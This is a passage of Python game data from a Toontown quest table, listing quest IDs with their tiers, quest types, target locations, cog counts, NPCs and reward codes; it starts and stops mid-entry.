(DL_TIER + 1, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 6), Any, ToonHQ, Any, NA, DefaultDialog), 7180: (DL_TIER + 1, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 8), Any, ToonHQ, Any, NA, DefaultDialog), 7181: (DL_TIER + 1, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 6), Any, ToonHQ, Any, NA, DefaultDialog), 7182: (DL_TIER + 1, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 8), Any, ToonHQ, Any, NA, DefaultDialog), 7183: (DL_TIER + 1, OBSOLETE, (SkelecogQuest, ToontownGlobals.SellbotFactoryInt, 40), Any, ToonHQ, Any, NA, DefaultDialog), 7184: (DL_TIER + 1, OBSOLETE, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 20, 5), Any, ToonHQ, Any, NA, DefaultDialog), 7185: (DL_TIER + 1, OBSOLETE, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 8, 6), Any, ToonHQ, Any, NA, DefaultDialog), 7186: (DL_TIER + 1, OBSOLETE, (ForemanQuest, ToontownGlobals.SellbotHQ, 6), Any, ToonHQ, Any, NA, DefaultDialog), 7187: (DL_TIER + 1, OBSOLETE, (ForemanQuest, ToontownGlobals.SellbotHQ, 8), Any, ToonHQ, Any, NA, DefaultDialog), 7190: (DL_TIER + 1, Start, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 25, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 7191: (DL_TIER + 1, Start, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 25, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 7192: (DL_TIER + 1, Start, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 25, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 7193: (DL_TIER + 1, Start, (SkelecogNewbieQuest, ToontownGlobals.SellbotHQ, 6, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 7194: (DL_TIER + 1, Start, (FactoryNewbieQuest, ToontownGlobals.SellbotHQ, 2, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 7195: (DL_TIER + 1, Start, (FactoryNewbieQuest, ToontownGlobals.SellbotHQ, 2, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 7196: (DL_TIER + 1, Start, (ForemanNewbieQuest, ToontownGlobals.SellbotFactoryInt, 2, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 7201: (DL_TIER + 1, Start, (VisitQuest,), Any, 9201, NA, 7202, TTLocalizer.QuestDialogDict[7201]), 7202: (DL_TIER + 1, Start, (MintQuest, ToontownGlobals.CashbotMintIntA, 5), 9201, Same, 102, NA, TTLocalizer.QuestDialogDict[7202]), 7203: (DL_TIER + 1, Start, (VisitQuest,), Any, 9225, NA, 7204, TTLocalizer.QuestDialogDict[7203]), 7204: (DL_TIER + 1, Start, (RecoverItemQuest, ToontownGlobals.CashbotMintIntB, 10, 52, Medium, 10, 'level'), 9225, Same, 101, NA, TTLocalizer.QuestDialogDict[7204]), 7205: (DL_TIER + 1, Start, (VisitQuest,), Any, 9218, NA, 7206, TTLocalizer.QuestDialogDict[7205]), 7206: (DL_TIER + 1, Start, (RecoverItemQuest, ToontownGlobals.CashbotMintIntA, 1, 54, VeryHard, 'mb'), 9218, Same, 100, NA, TTLocalizer.QuestDialogDict[7206]), 7207: (DL_TIER + 1, Start, (VisitQuest,), Any, 9115, NA, 7208, TTLocalizer.QuestDialogDict[7207]), 7208: (DL_TIER + 1, Start, (CogQuest, ToontownGlobals.CashbotMintIntA, 10, 'mb'), 9115, Same, NA, 7209, TTLocalizer.QuestDialogDict[7208]), 7209: (DL_TIER + 1, Cont, (CogQuest, ToontownGlobals.CashbotMintIntB, 15, 'ls'), Same, Same, NA, 7210, TTLocalizer.QuestDialogDict[7209]), 7210: (DL_TIER + 1, Cont, (CogQuest, ToontownGlobals.CashbotMintIntC, 20, 'rb'), Same, Same, 103, NA, TTLocalizer.QuestDialogDict[7210]), 7211: (DL_TIER + 1, Start, (VisitQuest,), Any, 9112, NA, 7212, TTLocalizer.QuestDialogDict[7211]), 7212: (DL_TIER + 1, Start, (VisitQuest,), 9112, 9127, NA, 7213, TTLocalizer.QuestDialogDict[7212]), 7213: (DL_TIER + 1, Cont, (RecoverItemQuest, ToontownGlobals.CashbotMintIntC, 15, 55, Hard, 'm', 'track'), 9127, Same, NA, 7214, TTLocalizer.QuestDialogDict[7213]), 7214: (DL_TIER + 1, Cont, (DeliverItemQuest, 55), Same, 9112, 206, NA, TTLocalizer.QuestDialogDict[7214]), 7215: (DL_TIER + 1, Start, (VisitQuest,), Any, 9120, NA, 7216, TTLocalizer.QuestDialogDict[7215]), 7216: (DL_TIER + 1, Start, (RecoverItemQuest, 9100, 10, 56, Medium, 'g', 'track'), 9120, Same, 706, NA, TTLocalizer.QuestDialogDict[7216]), 7250: (DL_TIER + 1, Start, (CogQuest, ToontownGlobals.CashbotHQ, 80, Any), Any, ToonHQ, Any, NA, DefaultDialog), 7251: (DL_TIER + 1, Start, (CogQuest, ToontownGlobals.CashbotHQ, 90, Any), Any, ToonHQ, Any, NA, DefaultDialog), 7252: (DL_TIER + 1, Start, (CogQuest, ToontownGlobals.CashbotHQ, 100, Any), Any, ToonHQ, Any, NA, DefaultDialog), 7253: (DL_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.CashbotHQ, 50, 7), Any, ToonHQ, Any, NA, DefaultDialog), 7254: (DL_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.CashbotHQ, 35, 8), Any, ToonHQ, Any, NA, DefaultDialog), 7255: (DL_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.CashbotHQ, 35, 9), Any, ToonHQ, Any, NA, DefaultDialog), 7256: (DL_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.CashbotMintIntA, 30, 10), Any, ToonHQ, Any, NA, DefaultDialog), 7257: (DL_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.CashbotMintIntB, 25, 11), Any, ToonHQ, Any, NA, DefaultDialog), 7258: (DL_TIER + 1, OBSOLETE, (CogLevelQuest, ToontownGlobals.CashbotMintIntC, 20, 11), Any, ToonHQ, Any, NA, DefaultDialog), 7259: (DL_TIER + 1, Start, (MintQuest, ToontownGlobals.CashbotMintIntA, 8), Any, ToonHQ, Any, NA, DefaultDialog), 7260: (DL_TIER + 1, Start, (MintQuest, ToontownGlobals.CashbotMintIntB, 7), Any, ToonHQ, Any, NA, DefaultDialog), 7261: (DL_TIER + 1, OBSOLETE, (MintQuest, ToontownGlobals.CashbotMintIntC, 6), Any, ToonHQ, Any, NA, DefaultDialog), 7262: (DL_TIER + 1, Start, (SkelecogQuest, ToontownGlobals.CashbotHQ, 30), Any, ToonHQ, Any, NA, DefaultDialog), 7263: (DL_TIER + 1, Start, (SkelecogLevelQuest, ToontownGlobals.CashbotHQ, 20, 11), Any, ToonHQ, Any, NA, DefaultDialog), 7264: (DL_TIER + 1, Start, (SkelecogLevelQuest, ToontownGlobals.CashbotHQ, 10, 12), Any, ToonHQ, Any, NA, DefaultDialog), 7265: (DL_TIER + 1, Start, (SupervisorQuest, ToontownGlobals.CashbotMintIntA, 10), Any, ToonHQ, Any, NA, DefaultDialog), 7266: (DL_TIER + 1, Start, (SupervisorQuest, ToontownGlobals.CashbotMintIntB, 8), Any, ToonHQ, Any, NA, DefaultDialog), 7267: (DL_TIER + 1, OBSOLETE, (SupervisorQuest, ToontownGlobals.CashbotMintIntC, 6), Any, ToonHQ, Any, NA, DefaultDialog), 7268: (DL_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.CashbotMintIntB, 20, 11), Any, ToonHQ, Any, NA, DefaultDialog), 7269: (DL_TIER + 1, Start, (MintQuest, ToontownGlobals.CashbotMintIntB, 6), Any, ToonHQ, Any, NA, DefaultDialog), 7270: (DL_TIER + 1, Start, (SupervisorQuest, ToontownGlobals.CashbotMintIntB, 6), Any, ToonHQ, Any, NA, DefaultDialog), 7500: (DL_TIER + 1, Start, (CogQuest, ToontownGlobals.DonaldsDreamland, 100, Any), Any, ToonHQ, NA, 7501, DefaultDialog), 7501: (DL_TIER + 1, Cont, (DeliverItemQuest, 1000), Any, 9010, 1000, NA, DefaultDialog), 8101: (DL_TIER + 2, Start, (CogQuest, Anywhere, 240, Any), Any, ToonHQ, Any, NA, DefaultDialog), 8102: (DL_TIER + 2, Start, (CogQuest, Anywhere, 260, Any), Any, ToonHQ, Any, NA, DefaultDialog), 8103: (DL_TIER + 2, Start, (CogQuest, Anywhere, 280, Any), Any, ToonHQ, Any, NA, DefaultDialog), 8104: (DL_TIER + 2, Start, (CogQuest, Anywhere, 320, Any), Any, ToonHQ, Any, NA, DefaultDialog), 8105: (DL_TIER + 2, Start, (CogQuest, Anywhere, 360, Any), Any, ToonHQ, Any, NA, DefaultDialog), 8106: (DL_TIER + 2, Start, (CogQuest, Anywhere, 400, Any), Any, ToonHQ, Any, NA, DefaultDialog), 8107: (DL_TIER + 2, Start, (CogQuest, Anywhere, 140, 'ym'), Any, ToonHQ, Any, NA, DefaultDialog), 8108: (DL_TIER + 2, Start, (CogQuest, Anywhere, 120, 'mm'), Any, ToonHQ, Any, NA, DefaultDialog), 8109: (DL_TIER + 2, Start, (CogQuest, Anywhere, 100, 'ds'), Any, ToonHQ, Any, NA, DefaultDialog), 8110: (DL_TIER + 2, Start, (CogQuest, Anywhere, 100, 'hh'), Any, ToonHQ, Any, NA, DefaultDialog), 8111: (DL_TIER + 2, Start, (CogQuest, Anywhere, 60, 'cr'), Any, ToonHQ, Any, NA, DefaultDialog), 8112: (DL_TIER + 2, Start, (CogQuest, Anywhere, 40, 'tbc'), Any, ToonHQ, Any, NA, DefaultDialog), 8113: (DL_TIER + 2, Start, (CogQuest, Anywhere, 140, 'nd'), Any, ToonHQ, Any, NA, DefaultDialog), 8114: (DL_TIER + 2, Start, (CogQuest, Anywhere, 120, 'gh'), Any, ToonHQ, Any, NA, DefaultDialog), 8115: (DL_TIER + 2, Start, (CogQuest, Anywhere, 100, 'ms'), Any, ToonHQ, Any, NA, DefaultDialog), 8116: (DL_TIER + 2, Start, (CogQuest, Anywhere, 100, 'tf'), Any, ToonHQ, Any, NA, DefaultDialog), 8117: (DL_TIER + 2, Start, (CogQuest, Anywhere, 60, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 8118: (DL_TIER + 2, Start, (CogQuest, Anywhere, 40, 'mh'), Any, ToonHQ, Any, NA, DefaultDialog), 8119: (DL_TIER + 2, Start, (CogQuest, Anywhere, 140, 'tw'), Any, ToonHQ, Any, NA, DefaultDialog), 8120: (DL_TIER + 2, Start, (CogQuest, Anywhere, 120, 'bc'), Any, ToonHQ, Any, NA, DefaultDialog), 8121: (DL_TIER + 2, Start, (CogQuest, Anywhere, 100, 'nc'), Any, ToonHQ, Any, NA, DefaultDialog), 8122: (DL_TIER + 2, Start, (CogQuest, Anywhere, 100, 'mb'), Any, ToonHQ, Any, NA, DefaultDialog), 8123: (DL_TIER + 2, Start, (CogQuest, Anywhere, 60, 'ls'), Any, ToonHQ, Any, NA, DefaultDialog), 8124: (DL_TIER + 2, Start, (CogQuest, Anywhere, 40, 'rb'), Any, ToonHQ, Any, NA, DefaultDialog), 8125: (DL_TIER + 2, Start, (CogQuest, Anywhere, 140, 'dt'), Any, ToonHQ, Any, NA, DefaultDialog), 8126: (DL_TIER + 2, Start, (CogQuest, Anywhere, 120, 'ac'), Any, ToonHQ, Any, NA, DefaultDialog), 8127: (DL_TIER + 2, Start, (CogQuest, Anywhere, 100, 'bs'), Any, ToonHQ, Any, NA, DefaultDialog), 8128: (DL_TIER + 2, Start, (CogQuest, Anywhere, 100, 'sd'), Any, ToonHQ, Any, NA, DefaultDialog), 8129: (DL_TIER + 2, Start, (CogQuest, Anywhere, 60, 'le'), Any, ToonHQ, Any, NA, DefaultDialog), 8130: (DL_TIER + 2, Start, (CogQuest, Anywhere, 40, 'bw'), Any, ToonHQ, Any, NA, DefaultDialog), 8131: (DL_TIER + 2, Start, (CogLevelQuest, Anywhere, 160, 9), Any, ToonHQ, Any, NA, DefaultDialog), 8132: (DL_TIER + 2, Start, (CogLevelQuest, Anywhere, 200, 9), Any, ToonHQ, Any, NA, DefaultDialog), 8133: (DL_TIER + 2, Start, (CogLevelQuest, Anywhere, 120, 10), Any, ToonHQ, Any, NA, DefaultDialog), 8134: (DL_TIER + 2, Start, (CogLevelQuest, Anywhere, 140, 10), Any, ToonHQ, Any, NA, DefaultDialog), 8135: (DL_TIER + 2, Start, (CogLevelQuest, Anywhere, 80, 11), Any, ToonHQ, Any, NA, DefaultDialog), 8136: (DL_TIER + 2, Start, (CogLevelQuest, Anywhere, 100, 11), Any, ToonHQ, Any, NA, DefaultDialog), 8137: (DL_TIER + 2, Start, (CogLevelQuest, Anywhere, 40, 12), Any, ToonHQ, Any, NA, DefaultDialog), 8138: (DL_TIER + 2, Start, (CogLevelQuest, Anywhere, 60, 12), Any, ToonHQ, Any, NA, DefaultDialog), 8139: (DL_TIER + 2, Start, (CogTrackQuest, Anywhere, 200, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 8140: (DL_TIER + 2, Start, (CogTrackQuest, Anywhere, 200, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 8141: (DL_TIER + 2, Start, (CogTrackQuest, Anywhere, 200, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 8142: (DL_TIER + 2, Start, (CogTrackQuest, Anywhere, 200, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 8143: (DL_TIER + 2, Start, (CogTrackQuest, Anywhere, 250, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 8144: (DL_TIER + 2, Start, (CogTrackQuest, Anywhere, 250, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 8145: (DL_TIER + 2, Start, (CogTrackQuest, Anywhere, 250, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 8146: (DL_TIER + 2, Start, (CogTrackQuest, Anywhere, 250, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 8147: (DL_TIER + 2, Start, (CogTrackQuest, Anywhere, 300, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 8148: (DL_TIER + 2, Start, (CogTrackQuest, Anywhere, 300, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 8149: (DL_TIER + 2, Start, (CogTrackQuest, Anywhere, 300, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 8150: (DL_TIER + 2, Start, (CogTrackQuest, Anywhere, 300, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 8151: (DL_TIER + 2, Start, (BuildingQuest, Anywhere, 40, Any, 2), Any, ToonHQ, Any, NA, DefaultDialog), 8152: (DL_TIER + 2, Start, (BuildingQuest, Anywhere, 20, Any, 3), Any, ToonHQ, Any, NA, DefaultDialog), 8153: (DL_TIER + 2, Start, (BuildingQuest, Anywhere, 20, Any, 4), Any, ToonHQ, Any, NA, DefaultDialog), 8154: (DL_TIER + 2, Start, (BuildingQuest, Anywhere, 20, Any, 5), Any, ToonHQ, Any, NA, DefaultDialog), 8155: (DL_TIER + 2, Start, (BuildingQuest, Anywhere, 10, 'm', 5), Any, ToonHQ, Any, NA, DefaultDialog), 8156: (DL_TIER + 2, Start, (BuildingQuest, Anywhere, 10, 's', 5), Any, ToonHQ, Any, NA, DefaultDialog), 8157: (DL_TIER + 2, Start, (BuildingQuest, Anywhere, 10, 'c', 5), Any, ToonHQ, Any, NA, DefaultDialog), 8158: (DL_TIER + 2, Start, (BuildingQuest, Anywhere, 10, 'l', 5), Any, ToonHQ, Any, NA, DefaultDialog), 8160: (DL_TIER + 2, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 40, Any, NEWBIE_HP), Any, ToonHQ, 608, NA, DefaultDialog), 8161: (DL_TIER + 2, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 40, Any, NEWBIE_HP), Any, ToonHQ, 608, NA, DefaultDialog), 8162: (DL_TIER + 2, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 40, Any, NEWBIE_HP), Any, ToonHQ, 608, NA, DefaultDialog), 8163: (DL_TIER + 2, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 40, Any, NEWBIE_HP), Any, ToonHQ, 608, NA, DefaultDialog), 8164: (DL_TIER + 2, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 3, NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 8165: (DL_TIER + 2, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 3, NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 8166: (DL_TIER + 2, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 3, NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 8167: (DL_TIER + 2, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 3, NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 8170: (DL_TIER + 2, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 160, Any), Any, ToonHQ, Any, NA, DefaultDialog), 8171: (DL_TIER + 2, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 180, Any), Any, ToonHQ, Any, NA, DefaultDialog), 8172: (DL_TIER + 2, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 200, Any), Any, ToonHQ, Any, NA, DefaultDialog), 8173: (DL_TIER + 2, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotHQ, 100, 4), Any, ToonHQ, Any, NA, DefaultDialog), 8174: (DL_TIER + 2, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotHQ, 70, 5), Any, ToonHQ, Any, NA, DefaultDialog), 8175: (DL_TIER + 2, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotHQ, 70, 5), Any, ToonHQ, Any, NA, DefaultDialog), 8176: (DL_TIER + 2, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 60, 5), Any, ToonHQ, Any, NA, DefaultDialog), 8177: (DL_TIER + 2, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 40, 6), Any, ToonHQ, Any, NA, DefaultDialog), 8178: (DL_TIER + 2, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 40, 6), Any, ToonHQ, Any, NA, DefaultDialog), 8179: (DL_TIER + 2, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 12), Any, ToonHQ, Any, NA, DefaultDialog), 8180: (DL_TIER + 2, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 16), Any, ToonHQ, Any, NA, DefaultDialog), 8181: (DL_TIER + 2, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 12), Any, ToonHQ, Any, NA, DefaultDialog), 8182: (DL_TIER + 2, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 16), Any, ToonHQ, Any, NA, DefaultDialog), 8183: (DL_TIER + 2, OBSOLETE, (SkelecogQuest, ToontownGlobals.SellbotFactoryInt, 80), Any, ToonHQ, Any, NA, DefaultDialog), 8184: (DL_TIER + 2, OBSOLETE, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 40, 5), Any, ToonHQ, Any, NA, DefaultDialog), 8185: (DL_TIER + 2, OBSOLETE, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 16, 6), Any, ToonHQ, Any, NA, DefaultDialog), 8186: (DL_TIER + 2, OBSOLETE, (ForemanQuest, ToontownGlobals.SellbotHQ, 12), Any, ToonHQ, Any, NA, DefaultDialog), 8187: (DL_TIER + 2, OBSOLETE, (ForemanQuest, ToontownGlobals.SellbotHQ, 16), Any, ToonHQ, Any, NA, DefaultDialog), 8188: (DL_TIER + 2, OBSOLETE, (VPQuest, ToontownGlobals.SellbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 8189: (DL_TIER + 2, OBSOLETE, (RescueQuest, ToontownGlobals.SellbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 8190: (DL_TIER + 2, OBSOLETE, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 30, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 610, NA, DefaultDialog), 8191: (DL_TIER + 2, OBSOLETE, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 30, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 610, NA, DefaultDialog), 8192: (DL_TIER + 2, OBSOLETE, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 30, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 610, NA, DefaultDialog), 8193: (DL_TIER + 2, OBSOLETE, (SkelecogNewbieQuest, ToontownGlobals.SellbotHQ, 8, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 610, NA, DefaultDialog), 8194: (DL_TIER + 2, OBSOLETE, (FactoryNewbieQuest, ToontownGlobals.SellbotHQ, 3, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 610, NA, DefaultDialog), 8195: (DL_TIER + 2, OBSOLETE, (FactoryNewbieQuest, ToontownGlobals.SellbotHQ, 3, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 610, NA, DefaultDialog), 8196: (DL_TIER + 2, OBSOLETE, (ForemanNewbieQuest, ToontownGlobals.SellbotFactoryInt, 3, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 610, NA, DefaultDialog), 8197: (DL_TIER + 2, OBSOLETE, (VPNewbieQuest, ToontownGlobals.SellbotHQ, 1, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 610, NA, DefaultDialog), 8198: (DL_TIER + 2, OBSOLETE, (RescueNewbieQuest, ToontownGlobals.SellbotHQ, 1, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 610, NA, DefaultDialog), 8201: (DL_TIER + 2, Start, (CogQuest, ToontownGlobals.CashbotHQ, 160, Any), Any, ToonHQ, Any, NA, DefaultDialog), 8202: (DL_TIER + 2, Start, (CogQuest, ToontownGlobals.CashbotHQ, 180, Any), Any, ToonHQ, Any, NA, DefaultDialog), 8203: (DL_TIER + 2, Start, (CogQuest, ToontownGlobals.CashbotHQ, 200, Any), Any, ToonHQ, Any, NA, DefaultDialog), 8204: (DL_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.CashbotHQ, 100, 7), Any, ToonHQ, Any, NA, DefaultDialog), 8205: (DL_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.CashbotHQ, 90, 8), Any, ToonHQ, Any, NA, DefaultDialog), 8206: (DL_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.CashbotHQ, 80, 9), Any, ToonHQ, Any, NA, DefaultDialog), 8207: (DL_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.CashbotMintIntA, 60, 10), Any, ToonHQ, Any, NA, DefaultDialog), 8208: (DL_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.CashbotMintIntB, 50, 11), Any, ToonHQ, Any, NA, DefaultDialog), 8209: (DL_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.CashbotMintIntC, 40, 11), Any, ToonHQ, Any, NA, DefaultDialog), 8210: (DL_TIER + 2, Start, (MintQuest, ToontownGlobals.CashbotMintIntA, 16), Any, ToonHQ, Any, NA, DefaultDialog), 8211: (DL_TIER + 2, Start, (MintQuest, ToontownGlobals.CashbotMintIntB, 14), Any, ToonHQ, Any, NA, DefaultDialog), 8212: (DL_TIER + 2, Start, (MintQuest, ToontownGlobals.CashbotMintIntC, 12), Any, ToonHQ, Any, NA, DefaultDialog), 8213: (DL_TIER + 2, Start, (SkelecogQuest, ToontownGlobals.CashbotMintIntA, 80), Any, ToonHQ, Any, NA, DefaultDialog), 8214: (DL_TIER + 2, Start, (SkelecogQuest, ToontownGlobals.CashbotMintIntB, 60), Any, ToonHQ, Any, NA, DefaultDialog), 8215: (DL_TIER + 2, Start, (SkelecogQuest, ToontownGlobals.CashbotMintIntC, 40), Any, ToonHQ, Any, NA, DefaultDialog), 8216: (DL_TIER + 2, Start, (SupervisorQuest, ToontownGlobals.CashbotMintIntA, 16), Any, ToonHQ, Any, NA, DefaultDialog), 8217: (DL_TIER + 2, Start, (SupervisorQuest, ToontownGlobals.CashbotMintIntB, 14), Any, ToonHQ, Any, NA, DefaultDialog), 8218: (DL_TIER + 2, Start, (SupervisorQuest, ToontownGlobals.CashbotMintIntC, 12), Any, ToonHQ, Any, NA, DefaultDialog), 8219: (DL_TIER + 2, Start, (CFOQuest, ToontownGlobals.CashbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 8301: (DL_TIER + 2, Start, (VisitQuest,), Any, 3309, NA, 8302, TTLocalizer.QuestDialogDict[8301]), 8302: (DL_TIER + 2, Start, (StageQuest, ToontownGlobals.LawbotStageIntA, 1), 3309, Same, 100, NA, TTLocalizer.QuestDialogDict[8302]), 8303: (DL_TIER + 2, Start, (VisitQuest,), Any, 3325, NA, 8304, TTLocalizer.QuestDialogDict[8303]), 8304: (DL_TIER + 2, Start, (RecoverItemQuest, ToontownGlobals.LawbotStageIntB, 20, 57, Hard, 'l', 'track'), 3325, Same, 101, NA, TTLocalizer.QuestDialogDict[8304]), 8305: (DL_TIER + 2, Start, (VisitQuest,), Any, 3121, NA, 8306, TTLocalizer.QuestDialogDict[8305]), 8306: (DL_TIER + 2, Start, (RecoverItemQuest, ToontownGlobals.LawbotStageIntC, 1, 58, VeryHard, 'sd'), 3121, Same, NA, 8307, TTLocalizer.QuestDialogDict[8306]), 8307: (DL_TIER + 2, Cont, (BuildingQuest, ToontownGlobals.TheBrrrgh, 5, 'l', 1), Same, Same, 102, NA, TTLocalizer.QuestDialogDict[8307]), 8308: (DL_TIER + 2, Start, (VisitQuest,), Any, 3223, NA, 8309, TTLocalizer.QuestDialogDict[8308]), 8309: (DL_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.LawbotStageIntD, 30, 11), 3223, Same, 103, NA, TTLocalizer.QuestDialogDict[8309]), 8310: (DL_TIER + 2, Start, (VisitQuest,), Any, 3310, NA, 8311, TTLocalizer.QuestDialogDict[8310]), 8311: (DL_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.LawbotHQ, 4, 16), 3310, Same, 207, NA, TTLocalizer.QuestDialogDict[8311]), 9101: (DL_TIER + 3, Start, (CogQuest, Anywhere, 500, Any), Any, ToonHQ, Any, NA, DefaultDialog), 9102: (DL_TIER + 3, Start, (CogQuest, Anywhere, 600, Any), Any, ToonHQ, Any, NA, DefaultDialog), 9103: (DL_TIER + 3, Start, (CogQuest, Anywhere, 700, Any), Any, ToonHQ, Any, NA, DefaultDialog), 9104: (DL_TIER + 3, Start, (CogQuest, Anywhere, 800, Any), Any, ToonHQ, Any, NA, DefaultDialog), 9105: (DL_TIER + 3, Start, (CogQuest, Anywhere, 900, Any), Any, ToonHQ, Any, NA, DefaultDialog), 9106: (DL_TIER + 3, Start, (CogQuest, Anywhere, 1000, Any), Any, ToonHQ, Any, NA, DefaultDialog), 9107: (DL_TIER + 3, Start, (CogQuest, Anywhere, 300, 'ym'), Any, ToonHQ, Any, NA, DefaultDialog), 9108: (DL_TIER + 3, Start, (CogQuest, Anywhere, 250, 'mm'), Any, ToonHQ, Any, NA, DefaultDialog), 9109: (DL_TIER + 3, Start, (CogQuest, Anywhere, 200, 'ds'), Any, ToonHQ, Any, NA, DefaultDialog), 9110: (DL_TIER + 3, Start, (CogQuest, Anywhere, 200, 'hh'), Any, ToonHQ, Any, NA, DefaultDialog), 9111: (DL_TIER + 3, Start, (CogQuest, Anywhere, 120, 'cr'), Any, ToonHQ, Any, NA, DefaultDialog), 9112: (DL_TIER + 3, Start, (CogQuest, Anywhere, 80, 'tbc'), Any, ToonHQ, Any, NA, DefaultDialog), 9113: (DL_TIER + 3, Start, (CogQuest, Anywhere, 280, 'nd'), Any, ToonHQ, Any, NA, DefaultDialog), 9114: (DL_TIER + 3, Start, (CogQuest, Anywhere, 240, 'gh'), Any, ToonHQ, Any, NA, DefaultDialog), 9115: (DL_TIER + 3, Start, (CogQuest, Anywhere, 200, 'ms'), Any, ToonHQ, Any, NA, DefaultDialog), 9116: (DL_TIER + 3, Start, (CogQuest, Anywhere, 200, 'tf'), Any, ToonHQ, Any, NA, DefaultDialog), 9117: (DL_TIER + 3, Start, (CogQuest, Anywhere, 120, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 9118: (DL_TIER + 3, Start, (CogQuest, Anywhere, 80, 'mh'), Any, ToonHQ, Any, NA, DefaultDialog), 9119: (DL_TIER + 3, Start, (CogQuest, Anywhere, 280, 'tw'), Any, ToonHQ, Any, NA, DefaultDialog), 9120: (DL_TIER + 3, Start, (CogQuest, Anywhere, 240, 'bc'), Any, ToonHQ, Any, NA, DefaultDialog), 9121: (DL_TIER + 3, Start, (CogQuest, Anywhere, 200, 'nc'), Any, ToonHQ, Any, NA, DefaultDialog), 9122: (DL_TIER + 3, Start, (CogQuest, Anywhere, 200, 'mb'), Any, ToonHQ, Any, NA, DefaultDialog), 9123: (DL_TIER + 3, Start, (CogQuest, Anywhere, 120, 'ls'), Any, ToonHQ, Any, NA, DefaultDialog), 9124: (DL_TIER + 3, Start, (CogQuest, Anywhere, 80, 'rb'), Any, ToonHQ, Any, NA, DefaultDialog), 9125: (DL_TIER + 3, Start, (CogQuest, Anywhere, 